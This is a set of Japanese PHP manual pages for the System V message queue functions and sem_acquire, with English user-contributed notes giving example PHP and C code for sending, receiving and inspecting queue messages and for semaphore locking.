This function is not part neither of ext/sysvsem nor ext/sysvshm but comes with the core functions of PHP (from ext/standard).


メッセージキューを作成またはそれにアタッチする

  • ≪ ftok
  • msg_queue_exists ≫
  • PHP Manual
  • セマフォ関数
  • メッセージキューを作成またはそれにアタッチする

msg_get_queue

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_get_queue — メッセージキューを作成またはそれにアタッチする

説明

msg_get_queue ( int $key , int $permissions = 0666 ) : SysvMessageQueue|false

msg_get_queue() は、指定した key で System V メッセージキューにアクセスするために使用される ID を返します。 最初にコールされた際には、オプションの permissions でメッセージキューを作成します。同じ key で 2 度目に msg_get_queue() がコールされると別の ID が返されますが、どちらの ID も同じメッセージキューを指します。

パラメータ

key

メッセージキューの数値 ID。

permissions

キューのパーミッション。デフォルトは 0666 です。 メッセージキューがすでに存在する場合には、permissions は無視されます。

返り値

SysvMessageQueue クラスのインスタンスを返します。System V メッセージキューにアクセスします。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | 成功した場合、 この関数は SysvMessageQueue クラスのインスタンスを返すようになりました。 これより前のバージョンでは、リソースが返されていました。

参考

  • msg_remove_queue() - メッセージキューを破棄する
  • msg_receive() - メッセージキューからメッセージを受信する
  • msg_send() - メッセージキューにメッセージを送信する
  • msg_stat_queue() - メッセージキューデータ構造体の情報を返す
  • msg_set_queue() - メッセージキューデータ構造体の情報を設定する

User Contributed Notes

Joey 22-Jul-2019 11:10
I find it hard to work out how to really use this reliably particularly in respect to collisions.

It maps to SysV IPC msgget.

As I see it you have three options...

1. Manage the IDs yourself, allocating various ranges or using some kind of centralised mechanism.
2. Use ftok. This attempts to find a unique ID, though it's not guaranteed to be unique or constant in absolutely every circumstance. It relies on using a file, from which it uses bits from the inode and dev it expects to be unique. It's the standard way and as long as there's nothing too unusual it should probably work (but might not survive radical FS changes).
3. Use 0 as the key, which appears to map to IPC_PRIVATE, a magic value which if provided as a key creates a new queue each time (without a key in effect).

Unfortunately option #3 is of limited use in PHP.

In C that is useful might be useful as the queue resource is just identified by an int and can be passed around.

In PHP its utility is questionable as only the resource can be passed within a single process. It's not possible to pass the resource with serialize / unserialize even though it's just a wrapped int.

The msqid returned isn't exactly unpredictable either so can quite easily be accidentally accessed. The first one I got was 0.

If you create a queue like this you'll find it very annoying as it wont be possible to delete it via PHP.

Like all IO it's worth wrapping this function and launching an exception if the input is 0.
Michael Iatrou 02-Jul-2010 09:47
If you are getting the following message (on Linux):

Warning: msg_get_queue() [function.msg-get-queue]: failed for key 0x12345678: No space left on device in /path/to/script.php on line 1

aside from what [others have] suggested, you should also check and set an appropriate value for kernel parameter kernel.msgmni, e.g. sysctl -w kernel.msgmni=256
Morten Brrup 17-Mar-2010 01:08
IPC_CREAT has no effect in this function. The PHP source code (file sysvmsg.c) reveals that only if msgget(key,0) fails, msgget(key, IPC_CREAT | IPC_EXCL | perms) is used.
pail dot luo at gmail dot com 28-Feb-2009 09:22
A simple Sample to introduce Message Queue.

<?php
if ( sizeof($argv)<2 ) {
        echo "Usage: $argv[0] stat|send|receive|remove msgType MSG [msg] \n\n" ;
        echo "   EX: $argv[0] send 1 \"This is no 1\" \n" ;
        echo "       $argv[0] receive ID \n" ;
        echo "       $argv[0] stat \n" ;
        echo "       $argv[0] remove \n" ;
        exit;
}

$MSGKey = "123456" ;

## Create or attach to a message queue
$seg = msg_get_queue($MSGKey) ;

switch ( $argv[1] ) {
    case "send":
        msg_send($seg, $argv[2], $argv[3]);
        echo "msg_send done...\n" ;
        break;

    case "receive":
        $stat = msg_stat_queue( $seg );
        echo 'Messages in the queue: '.$stat['msg_qnum']."\n";
        if ( $stat['msg_qnum']>0 ) {
            msg_receive($seg, $argv[2], $msgtype, 1024, $data);
            var_dump($msgtype);
            var_dump($data);
            echo "\n";
        }
        else {
            echo "No Msg...\n";
        }
        break;

    case "stat":
      print_r( msg_stat_queue($seg) );
        break;

    case "remove":
        msg_remove_queue($seg);
        break;
}
?>
david dot schueler at tel-billig dot de 17-Dec-2008 08:17
If you are getting this message on your *NIX box:

Warning: msg_get_queue() [function.msg-get-queue]: failed for key 0x12345678: No space left on device in /path/to/script.php on line 1

you may use the command "ipcrm" as root to clear the message queue. Use "man ipcrm" to get more info on it.
The default setting for maximum messages in the queue is stored in /proc/sys/fs/mqueue/msg_max. To increase it to a maximum of 100 messages, just run:
echo 100 > /proc/sys/fs/mqueue/msg_max

Please ensure to follow a good programming style and close/free all your message queues before your script exits to avoid those warning messages.
martin dot velek at gmail dot com 01-Aug-2007 04:23
Lack of IPC_EXCL makes me unhappy. Of course, you can use ftok() to generate a unique key. This code is not allmighty, another process under the same user can open the queue and function returns true. But in some situation it could help.

code:

<?
function ipcEXCL($res,$perm)
{
 $pole = msg_stat_queue($res);

 if($pole['msg_perm.uid']==posix_getuid() &&
    $pole['msg_perm.gid']==posix_getgid()  &&
    $pole['msg_perm.mode']==$perm  &&
    $pole['msg_stime']==0  &&
    $pole['msg_rtime']==0  &&
    $pole['msg_qnum']==0  &&
    $pole['msg_lspid']==0  &&
    $pole['msg_rspid']==0)
        return true;
 else
        return false;
}

$res=msg_get_queue($key,$perm);

if(ipcEXCL($res,$perm))
   echo "probably I am a creator:";
else
   echo "probably not";
?>
joeldg AT listbid.com 02-May-2003 12:10
// Here is an example of working with message queues.
// if you have forked processes, this could be a great way of passing
// out work to them

// create the message queue
// pick a file..
  $key_t = msg_get_queue(ftok("/tmp/php_msgqueue.stat", 'R'),0666 | IPC_CREAT);

    // place two messages on the queue
    if (!msg_send ($key_t, 1, 'This is message #1', true, true, $msg_err))
       echo "Msg not sent because $msg_err\n";
    if (!msg_send ($key_t, 1, 'This is message #2 ', true, true, $msg_err))
       echo "Msg not sent because $msg_err\n";

    // lets look at the queue structure 'msg_qnum' is really what we want to see
    // it should be '2'
    print_r(msg_stat_queue($key_t));

    // pull off the stack
        if (msg_receive ($key_t, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
           if ($msg == 'Quit');
           echo "$msg\n"; // prints 'This is message #1'
        } else {
           echo "Received $msg_error fetching message\n";
        }
    // look at the structure again, ms_qnum should be '1'
    print_r(msg_stat_queue($key_t));
        if (msg_receive ($key_t, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
           if ($msg == 'Quit');
           echo "$msg\n"; // prints 'This is message #2'
        } else {
           echo "Received $msg_error fetching message\n";
        }
   // look at the structure again, ms_qnum should be '0', no more messages on the queue
   print_r(msg_stat_queue($key_t));

   // get rid of the queue we created
   msg_remove_queue ($key_t);


メッセージキューが存在するかどうかを調べる

  • ≪ msg_get_queue
  • msg_receive ≫
  • PHP Manual
  • セマフォ関数
  • メッセージキューが存在するかどうかを調べる

msg_queue_exists

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

msg_queue_exists — メッセージキューが存在するかどうかを調べる

説明

msg_queue_exists ( int $key ) : bool

key で指定したメッセージキューが存在するかどうかを調べます。

パラメータ

key

キューのキー。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • msg_remove_queue() - メッセージキューを破棄する
  • msg_receive() - メッセージキューからメッセージを受信する
  • msg_stat_queue() - メッセージキューデータ構造体の情報を返す

User Contributed Notes

klatovsky at 2u2 dot cz 25-Oct-2018 02:14
This function is creating new queue (and returning true) if you set NULL into $key variable.

<?php

$isQueueCreated = msg_queue_exists(NULL);
print $isQueueCreated ? "WTF??!" : "ok, everything is fine..";

?>

WTF??!

# ipcs -q
0x00000000 173047808  root       0        0            0
tkuschel at loytec dot com 05-Jul-2012 08:40
Following code will do the job:
<?php
$key = 0;
while (true) {
  echo $key,"...\r";
  if (msg_queue_exists($key))
   echo "\r",$key,'::Exists',"\n";
   $key++;
}
?>
michael dot hajuu at gmail dot com 09-Mar-2011 05:01
A simple script for checking what message queues are in use on a [presumably new] server environment.

Run with php-cli

<?php
$k = 0;
while (true) {
  echo $key,"...\r";
  if (msg_queue_exists($key))
   echo "\r",$key,'::Exists',"\n";
   $key++;
}
?>
jaredm 10-Dec-2009 04:31
A workaround for those not yet running 5.3 on *nix:

<?php
function queue_exists($key) {
    if(function_exists("msg_queue_exists")) {
        return msg_queue_exists($key);
    } else {
        $aQueues = array();
        exec("ipcs -q | grep \"^[0-9]\" | cut -d \" \" -f 1", $aQueues);
        if(in_array($key,$aQueues)) return true;
        else return false;
    }
}
?>

Maybe a bit slow and kludgey, but it works.


メッセージキューからメッセージを受信する

  • ≪ msg_queue_exists
  • msg_remove_queue ≫
  • PHP Manual
  • セマフォ関数
  • メッセージキューからメッセージを受信する

msg_receive

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_receive — メッセージキューからメッセージを受信する

説明

msg_receive ( SysvMessageQueue $queue , int $desired_message_type , int &$received_message_type , int $max_message_size , mixed &$message , bool $unserialize = true , int $flags = 0 , int &$error_code = null ) : bool

msg_receive() は、指定した queue から指定した desired_message_type の最初のメッセージを受信します。

パラメータ

queue

メッセージキュー

desired_message_type

desired_message_type が 0 の場合、 キューの先頭にあるメッセージが返されます。desiredmsgtype が 0 より大きな値の場合、その型のメッセージのうち一番最初にあるものが返されます。 desired_message_type が 0 より小さな値の場合、 desired_message_type の絶対値と同じかそれより小さい型のメッセージのうち一番最初にあるものが返されます。 条件を満たすメッセージがない場合は、 条件を満たすメッセージがキューに投入されるまで待ち続けます。 パラメータ flags に MSG_IPC_NOWAIT を指定することで、 ブロックモードではなくすることが可能です。

received_message_type

受信したメッセージの型がこのパラメータに保存されます。

max_message_size

読み込むメッセージの最大サイズは mmax_message_size で指定します。もしキューにあるメッセージのサイズがこれより大きい場合、 (以下で説明する flags が設定されていない限り) この関数は失敗します。

message

エラーが発生しなければ、 受信したメッセージは message に保存されます。

unserialize

このパラメータが true に設定されている場合、 メッセージはセッションモジュールと同様の方法でシリアライズされているものとみなされます。 メッセージは元の状態に復元されたうえでスクリプトに返されます。 これにより、配列やオブジェクト構造体のような複雑な形式のデータを他の PHP スクリプトから簡単に受信することが可能となります。 また、もし WDDX シリアライザを使用しているなら、あらゆる WDDX 互換のソースからデータを受け取ることが可能となります。

unserialize が false の場合、 メッセージはバイナリセーフな文字列として返されます。

flags

オプションの flags により、低レベルの msgrcv システムコールにフラグを渡すことが可能です。デフォルト値は 0 ですが、以下の値のうちのいくつかを(値を足すかあるいは論理和ととることで) 指定することが可能です。

msg_receive のフラグの値
MSG_IPC_NOWAIT | desired_message_type を満たすメッセージが存在しない場合に、 待ち続けずにすぐに結果を返します。 関数は失敗し、MSG_ENOMSG に対応する整数値を返します。
MSG_EXCEPT | このフラグを正の desired_message_type と組み合わせて使用すると、この関数は desired_message_type 以外の型をもつ 最初のメッセージを受信するようになります。
MSG_NOERROR | このフラグを設定しておくと、メッセージが max_message_size より大きい場合に そのメッセージを max_message_size までに切り詰め、 エラーを返しません。

error_code

エラーが発生した場合は、オプションの error_code にシステムの errno 値が設定されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

処理が正常に完了すると、メッセージキューデータ構造体は以下のように更新されます。 msg_lrpid には呼び出し元のプロセス ID が 設定され、msg_qnum が 1 減少し、 msg_rtime が現在の時刻に設定されます。

変更履歴

バージョン | 説明
8.0.0 | 引数 queue は、 SysvMessageQueue のインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

参考

  • msg_remove_queue() - メッセージキューを破棄する
  • msg_send() - メッセージキューにメッセージを送信する
  • msg_stat_queue() - メッセージキューデータ構造体の情報を返す
  • msg_set_queue() - メッセージキューデータ構造体の情報を設定する

User Contributed Notes

soger 13-May-2019 12:28
It seems that a maxsize of 2Mb is some sort of a threshold for php, above that msg_receive() starts to use a lot of CPU (with a sender that is pushing messages non-stop receiving 10000 messages jumps up from 0.01 sec to 1.5 sec on my computer) so try to stay below that thresholod if you can.
marbledore at mail dot ru 16-Jun-2011 03:38
It looks like msg_receive() allocates a memory with size $maxsize, and only then tries to receive a message from queue into allocated memory. Because my script dies with $maxsize = 1 Gib, but works with $maxsize = 10 Kib.
shepik at yandex dot ru 02-Jul-2009 07:09
The behaviour of msg_recieve function depends on value of $desiredmsgtype:
If zero: the first message with any $msgtype will be recieved.
Positive: the first message with $msgtype = desiredmsgtype
Negative: the first message with $msgtype <= abs ($desiredmsgtype)
(where "$msgtype" means msgtype the message was sent with)
eimers at mehrkanal dot com 19-Mar-2008 08:49
<?php error_reporting(E_ALL);
/**
 * Example for sending and receiving Messages via the System V Message Queue
 *
 * To try this script run it synchron/asynchron twice times. One time with ?typ=send and one time with ?typ=receive
 *
 * @author          Thomas Eimers - Mehrkanal GmbH
 *
 * This document is distributed in the hope that it will be useful, but without any warranty;
 * without even the implied warranty of merchantability or fitness for a particular purpose.
 */

header('Content-Type: text/plain; charset=ISO-8859-1');
echo "Start...\n";

// Create System V Message Queue. Integer value is the number of the Queue
$queue = msg_get_queue(100379);

// Sendoptions
$message='nachricht';     // Transfering Data
$serialize_needed=false;  // Must the transfer data be serialized ?
$block_send=false;        // Block if Message could not be send (Queue full...) (true/false)
$msgtype_send=1;          // Any Integer above 0. It signeds every Message. So you could handle multible message
                          // type in one Queue.

// Receiveoptions
$msgtype_receive=1;       // Whiche type of Message we want to receive ? (Here, the type is the same as the type we send,
                          // but if you set this to 0 you receive the next Message in the Queue with any type.
$maxsize=100;             // How long is the maximal data you like to receive.
$option_receive=MSG_IPC_NOWAIT; // If there are no messages of the wanted type in the Queue continue without wating.
                          // If is set to NULL wait for a Message.

// Send or receive 20 Messages
for ($i=0;$i<20;$i++) {
  sleep(1);
  // This one sends
  if ($_GET['typ']=='send') {
    if(msg_send($queue,$msgtype_send, $message,$serialize_needed, $block_send,$err)===true) {
      echo "Message sendet.\n";
    } else {
      var_dump($err);
    }
  // This one received
  } else {
    $queue_status=msg_stat_queue($queue);
    echo 'Messages in the queue: '.$queue_status['msg_qnum']."\n";

    // WARNUNG: nur weil vor einer Zeile Code noch Nachrichten in der Queue waren, muss das jetzt nciht mehr der Fall sein!
    if ($queue_status['msg_qnum']>0) {
      if (msg_receive($queue,$msgtype_receive ,$msgtype_erhalten,$maxsize,$daten,$serialize_needed, $option_receive, $err)===true) {
              echo "Received data".$daten."\n";
      } else {
              var_dump($err);
      }
    }
  }
}

?>
marvel at post dot cz 26-Jan-2008 02:27
Consider this e.g. Linux situation:

<?php
//file send.php
$ip = msg_get_queue(12340);
msg_send($ip,8,"abcd",false,false,$err);
//-----------------------------------------------------
<?php
//file receive.php
$ip = msg_get_queue(12340);

msg_receive($ip,0,$msgtype,4,$data,false,null,$err);
echo "msgtype {$msgtype} data {$data}\n";

msg_receive($ip,0,$msgtype,4,$data,false,null,$err);
echo "msgtype {$msgtype} data {$data}\n";
?>

Now run:
in terminal #1   php5 receive.php
in terminal #2   php5 receive.php
in terminal #3   php5 send.php

Showing messages from queue will flip-flop. It means you run once send.php, the message will be shown in terminal #1. Second run it will be in t#2, third #1 and so on.
webmaster at toolshed51 dot com 10-Apr-2003 03:56
This is meant to be run as your apache user in a terminal, call script in note of msg_send and they will communicate.

#! /usr/bin/env php
<?php
    $MSGKEY = 519051; // Message

    $msg_id = msg_get_queue ($MSGKEY, 0600);

    while (1) {
        if (msg_receive ($msg_id, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
            if ($msg == 'Quit') break;
            echo "$msg\n";
        } else {
            echo "Received $msg_error fetching message\n";
            break;
        }
    }

    msg_remove_queue ($msg_id);
?>


メッセージキューを破棄する

  • ≪ msg_receive
  • msg_send ≫
  • PHP Manual
  • セマフォ関数
  • メッセージキューを破棄する

msg_remove_queue

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_remove_queue — メッセージキューを破棄する

説明

msg_remove_queue ( SysvMessageQueue $queue ) : bool

msg_remove_queue() は、queue で指定したメッセージキューを破棄します。この関数を使用するのは、 すべてのプロセスがメッセージキューの使用を終え、 キューが保持するシステムリソースを開放する必要が生じた場合のみです。

パラメータ

queue

メッセージキュー

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 引数 queue は、 SysvMessageQueue のインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

参考

  • msg_get_queue() - メッセージキューを作成またはそれにアタッチする
  • msg_receive() - メッセージキューからメッセージを受信する
  • msg_stat_queue() - メッセージキューデータ構造体の情報を返す
  • msg_set_queue() - メッセージキューデータ構造体の情報を設定する

User Contributed Notes

There are no user contributed notes for this page.


メッセージキューにメッセージを送信する

  • ≪ msg_remove_queue
  • msg_set_queue ≫
  • PHP Manual
  • セマフォ関数
  • メッセージキューにメッセージを送信する

msg_send

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_send — メッセージキューにメッセージを送信する

説明

msg_send ( SysvMessageQueue $queue , int $message_type , string|int|float|bool $message , bool $serialize = true , bool $blocking = true , int &$error_code = null ) : bool

msg_send() は、queue で指定したメッセージキューに対して message_type で指定した型 (0 より大きい数値である必要があります) のメッセージ message を送信します。

パラメータ

queue

メッセージキュー

message_type

メッセージのタイプ (0より大きい数値でなければいけません)

message

メッセージの本体

注意:

serialize が false に設定された場合、 この値は string, int, float または bool のいずれかでなければなりません。 それら以外の場合、警告が発生します。

serialize

オプションのパラメータ serialize は、 message を送信する方法を制御します。 serialize のデフォルト値は true で、 この場合 message が送信される前に セッションモジュールと同じ方法でシリアライズされます。 これにより、配列やオブジェクトのような複雑な形式のデータを 他の PHP スクリプトに送信することが可能となります。 また、もし WDDX シリアライザを使用しているなら、あらゆる WDDX 互換クライアントに対して同じことが可能となります。

blocking

メッセージがキューに収まらないほど大きい場合は、他のプロセスが 現在キューにあるメッセージを読み込んでキューの空き容量が確保されるまで スクリプトの実行を待ち続けます。これをブロックモードといいます。 オプションのパラメータ blocking を false に設定することでブロックモードではなくすることが可能で、 この場合、もしキューの空き容量よりも大きなメッセージを送信すると msg_send() はすぐに false を返します。 また、オプションのパラメータ error_code を MSG_EAGAIN に設定すると、 少し時間をおいてメッセージを再度送信しなければならないことが戻り値からわかります。

error_code

この関数の実行が失敗した場合、オプションのエラーコードがシステムの errno 変数の値に設定されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

処理が正常に完了すると、メッセージキューデータ構造体は以下のように更新されます。 msg_lspid には呼び出し元のプロセス ID が 設定され、msg_qnum が 1 増加し、 msg_stime が現在の時刻に設定されます。

変更履歴

バージョン | 説明
8.0.0 | 引数 queue は、 SysvMessageQueue のインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

参考

  • msg_remove_queue() - メッセージキューを破棄する
  • msg_receive() - メッセージキューからメッセージを受信する
  • msg_stat_queue() - メッセージキューデータ構造体の情報を返す
  • msg_set_queue() - メッセージキューデータ構造体の情報を設定する

User Contributed Notes

qeekin at gmail dot com 11-Apr-2014 08:51
I created example how to comunnicate with programe written in C throught messages queues. First run C program (it will create queue) then PHP script.

C code compile with: gcc -std=c99 -o test_queue test_queue.c

test_queue.c:
/**
* Example how to use System V Messages Queues with PHP and C program.
* This is simple server which create message queue and receive message from it.
* Based on Beej's Guide to Unix IPC
* Autor: Jan Drazil, <qeekin at gmail dot com>
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

/* Buffer struct for receiving messages */
struct php_buf {
    long mtype;
    char msg[200];
};

int main(void)
{
    struct php_buf buf;
    int msqid;
    key_t key;

    /* Generate key (/var/www/index.php must be accessible file) */
    if((key = ftok("/var/www/index.php", 'G')) == -1) {
        perror("ftok");
        exit(EXIT_FAILURE);
    }

    /* Create message queue */
    if((msqid = msgget(key, 0666 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(EXIT_FAILURE);
    }

    printf("Ready to get string from PHP!\n");

    /* Receive message */
    if(msgrcv(msqid, &buf, sizeof(buf.msg)-1, 0, 0) == -1) {
        perror("msgrcv");
        exit(EXIT_FAILURE);
    }

    /* Eliminate segmentation fault */
    buf.msg[199] = '\0';

    printf("Recieved from PHP: %s\n", buf.msg);

    /* Destroy message queue */
    if(msgctl(msqid, IPC_RMID, NULL) == -1) {
        perror("msgctl");
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}

test_queue.php:
<?php
/**
* Example how to use System V Messages Queues with PHP and C program.
* This is simple server which create message queue and receive message from it.
* Based on Beej's Guide to Unix IPC
* Autor: Jan Drazil, <qeekin at gmail dot com>
*/

/* Generate key, param fot ftok must be same as in test_msg.c */
if(($key = ftok("/var/www/index.php", "G")) == -1)
    die("ftok");

if(!msg_queue_exists($key))
    die("message queue doesn't exists");

/* Connect to message queue */
if(($msqid = msg_get_queue($key)) === FALSE)
    die("msg_get_queue");

echo "Sending text to msg queue.\n";

/* Send message to C program */
if(!msg_send($msqid, 12, "Hello from PHP!\0", false))
    die("msg_send");

echo "Done"
?>
Muffinman 15-Nov-2012 10:24
When sending non-complex (serialize = false) messages to a program in C, you need to add the null character to the string (\0). Otherwise the previous message will be partially visible if it is longer than the current message. Took some kind help from comp.lang.php for me to figure that out. While it seems so obvious now, I thought I'd share it here.
michael dot NO dot SP dot AM dot cordover+php at gmail dot com 16-Oct-2009 04:10
After about an hour of debugging I've discovered the meaning of the undocumented "PHP Warning: msg_send(): msgsnd failed: Invalid argument" ($errorcode = 13).

This occurred when the size of $message was larger than msg_qbytes (see msg_stat_queue() for how to determine and change msg_qbytes).
shepik at yandex dot ru 02-Jul-2009 07:04
$msgtype used in msg_send function can be any positive integer.
bryan-boone at msn dot com 14-May-2008 03:39
I think it is kinda lame why I cannot find out (easily) explicitly which types of messages are allowed and which ones are not.  Maybe we can start our own little list.  I know that strings work, and arrays do not.
webmaster at toolshed51 dot com 10-Apr-2003 03:51
Sample sending webpage, see msg_receive for matching service

<?php
    $MSGKEY = 519051;

    $msg_id = msg_get_queue ($MSGKEY, 0600);

    if (!msg_send ($msg_id, 1, 'Hi', true, true, $msg_err))
        echo "Msg not sent because $msg_err\n";
?>


メッセージキューデータ構造体の情報を設定する

  • ≪ msg_send
  • msg_stat_queue ≫
  • PHP Manual
  • セマフォ関数
  • メッセージキューデータ構造体の情報を設定する

msg_set_queue

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_set_queue — メッセージキューデータ構造体の情報を設定する

説明

msg_set_queue ( SysvMessageQueue $queue , array $data ) : bool

msg_set_queue() により、メッセージキューデータ構造体の msg_perm.uid、msg_perm.gid、msg_perm.mode および msg_qbytes フィールドを 変更することが可能です。

データ構造体を変更するには、PHP の実行ユーザーがキューの作成者あるいは (現在の msg_perm.xxx フィールドで指定されている)キューの所有者であるか、 あるいは root 権限を有している必要があります。msg_qbytes の値を システムで定義した制限をこえて設定するには、root 権限が必要です。

パラメータ

queue

メッセージキュー

data

設定したい値を、data 配列に設定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 引数 queue は、 SysvMessageQueue のインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

参考

  • msg_remove_queue() - メッセージキューを破棄する
  • msg_receive() - メッセージキューからメッセージを受信する
  • msg_stat_queue() - メッセージキューデータ構造体の情報を返す
  • msg_get_queue() - メッセージキューを作成またはそれにアタッチする

User Contributed Notes

webmaster at toolshed51 dot com 16-May-2003 03:50
Example:
$msg_id = msg_get_queue (12341234, 0600);
msg_set_queue ($msg_id, array ('msg_perm.uid'=>'80'));

List of all possible keys at documentation for msg_stat_queue


メッセージキューデータ構造体の情報を返す

  • ≪ msg_set_queue
  • sem_acquire ≫
  • PHP Manual
  • セマフォ関数
  • メッセージキューデータ構造体の情報を返す

msg_stat_queue

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_stat_queue — メッセージキューデータ構造体の情報を返す

説明

msg_stat_queue ( SysvMessageQueue $queue ) : array|false

msg_stat_queue() は、queue で指定したメッセージキューのメタデータを返します。 これは、例えば受信したメッセージがどのプロセスから送信されたのかを調べる場合などに有用です。

パラメータ

queue

メッセージキュー

返り値

成功した場合、返り値は配列で、そのキーと値は以下のような意味をもちます。

msg_stat_queue の配列構造
msg_perm.uid | キューの所有者の uid 。
msg_perm.gid | キューの所有者の gid 。
msg_perm.mode | キューのファイルアクセスモード。
msg_stime | キューに対して最後にメッセージが送信された時刻。
msg_rtime | キューから最後にメッセージを受信した時刻。
msg_ctime | キューが最後に更新された時刻。
msg_qnum | キューにある読み込み待ちのメッセージの数。
msg_qbytes | ひとつのメッセージキューに含められる最大のバイト数。 Linux では、この値の取得や設定を /proc/sys/kernel/msgmnb で行えます。
msg_lspid | 最後にキューに対してメッセージを送信したプロセスの pid 。
msg_lrpid | 最後にキューからメッセージを受信したプロセスの pid 。

Returns false on failure.

変更履歴

バージョン | 説明
8.0.0 | 引数 queue は、 SysvMessageQueue のインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

参考

  • msg_remove_queue() - メッセージキューを破棄する
  • msg_receive() - メッセージキューからメッセージを受信する
  • msg_get_queue() - メッセージキューを作成またはそれにアタッチする
  • msg_set_queue() - メッセージキューデータ構造体の情報を設定する

User Contributed Notes

There are no user contributed notes for this page.


セマフォを得る

  • ≪ msg_stat_queue
  • sem_get ≫
  • PHP Manual
  • セマフォ関数
  • セマフォを得る

sem_acquire

(PHP 4, PHP 5, PHP 7, PHP 8)

sem_acquire — セマフォを得る

説明

sem_acquire ( SysvSemaphore $semaphore , bool $non_blocking = false ) : bool

sem_acquire() はデフォルトで、(必要な場合) セマフォが確保できるまでブロックします。 既に確保されているセマフォを得ようとするプロセスは、 セマフォの獲得により max_aquire 値を超える場合、 永久にブロックされます。

リクエスト処理の後、プロセスにより獲得された全てのセマフォのうち、 明示的に開放されていないものが自動的に開放され、警告が表示されます。

パラメータ

semaphore

semaphore はセマフォのリソースで、 sem_get() によって得られます。

non_blocking

セマフォが確保できるまでプロセスを待たせたくない場合に指定します。 true にすると、セマフォをその場で確保できなかった場合に、 この関数は即時に false を返します。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 引数 semaphore は、 SysvSemaphore クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

参考

  • sem_get() - セマフォ ID を得る
  • sem_release() - セマフォを解放する

User Contributed Notes

Ben 09-Sep-2020 05:50
I recently had to use semaphores to avoid running an update of a database concurrently.

For testing it I used two browser windows (chrome) on the same Desktop.

In this case semaphores did not work as expected.
Also flock on a file did not work as expected.

Running the script from command line did work as expected.

As soon as I used two different browsers, one on my desktop another within a virutal machine, it works like expected.

Hope that helps anybody avoiding strange debugging sessions on this topic...
anatoliy at ukhvanovy dot name 06-Feb-2015 09:25
If you need non-blocking semaphores, here is an example how you may implement it. Use a shared memory variable to mark whether or not a lock exists and then use a semaphore around operations against that variable. I'll call my shared variable as 'token'.

<?php
echo '<pre>';

$resourceSemaphore = sem_get(7);
$tokenSemaphore = sem_get(8);
$tokenValue = shm_attach(9, 100);

function myEcho($v) {
    echo microtime() . ' ' . $v . "\n";
}

// sem_remove($resourceSemaphore);
// sem_remove($tokenSemaphore);
// exit();

function try_lock() {
    global $resourceSemaphore, $tokenSemaphore, $tokenValue;
    myEcho('begin try_lock()');
    myEcho('acquire token semaphore');
    sem_acquire($tokenSemaphore);
    myEcho('    token semaphore acquired');
    $tmp = shm_get_var($tokenValue, 6);
    myEcho('    token value: ' . var_export($tmp, true));
    $exit = $tmp;
    if (!$exit) {
        $tmp = shm_put_var($tokenValue, 6, true);
        $tmp = shm_get_var($tokenValue, 6);
        myEcho('    token new value: ' . var_export($tmp, true));
    }
    myEcho('release token semaphore');
    sem_release($tokenSemaphore);
    if ($exit) return false;
    myEcho('acquire resource semaphore');
    sem_acquire($resourceSemaphore);
    myEcho('    resource semaphore acquired');
    return true;
}

function release() {
    global $resourceSemaphore, $tokenSemaphore, $tokenValue;
    myEcho('release resource semaphore');
    sem_release($resourceSemaphore);
    myEcho('acquire token semaphore');
    sem_acquire($tokenSemaphore);
    myEcho('    token semaphore acquired');
    $tmp = shm_get_var($tokenValue, 6);
    myEcho('    token value: ' . var_export($tmp, true));
    $tmp = shm_put_var($tokenValue, 6, false);
    $tmp = shm_get_var($tokenValue, 6);
    myEcho('    token new value: ' . var_export($tmp, true));
    myEcho('release token semaphore');
    sem_release($tokenSemaphore);
}

for ($triesLeft = 5; $triesLeft > 0 && !try_lock(); $triesLeft--) {
    myEcho('failed to acquire resource');
    myEcho('wait for 1 sec');
    sleep(1);
    myEcho('try again');
}
myEcho('    access the resource for 4 sec');
//paste here your code, accessing your resource
sleep(4);
release();
myEcho('the end');
?>
When I execute this script in two parallel instances, I get the following output:
-------(first instance)----------------------------------------
... 482 begin try_lock()
... 482 acquire token semaphore
... 482     token semaphore acquired
... 482     token value: false
... 482     token new value: true
... 482 release token semaphore
... 482 acquire resource semaphore
... 482     resource semaphore acquired
... 482     access the resource for 4 sec
... 486 release resource semaphore
... 486 acquire token semaphore
... 486     token semaphore acquired
... 486     token value: true
... 486     token new value: false
... 486 release token semaphore
... 486 the end
-------(second instance)----------------------------------------
... 485 begin try_lock()
... 485 acquire token semaphore
... 485     token semaphore acquired
... 485     token value: true
... 485 release token semaphore
... 485 failed to acquire resource
... 485 wait for 1 sec
...
... 486 wait for 1 sec
... 487 try again
... 487 begin try_lock()
... 487 acquire token semaphore
... 487     token semaphore acquired
... 487     token value: false
... 487     token new value: true
... 487 release token semaphore
... 487 acquire resource semaphore
... 487     resource semaphore acquired
... 487     access the resource for 4 sec
... 491 release resource semaphore
... 491 acquire token semaphore
... 491     token semaphore acquired
... 491     token value: true
... 491     token new value: false
... 491 release token semaphore
... 491 the end
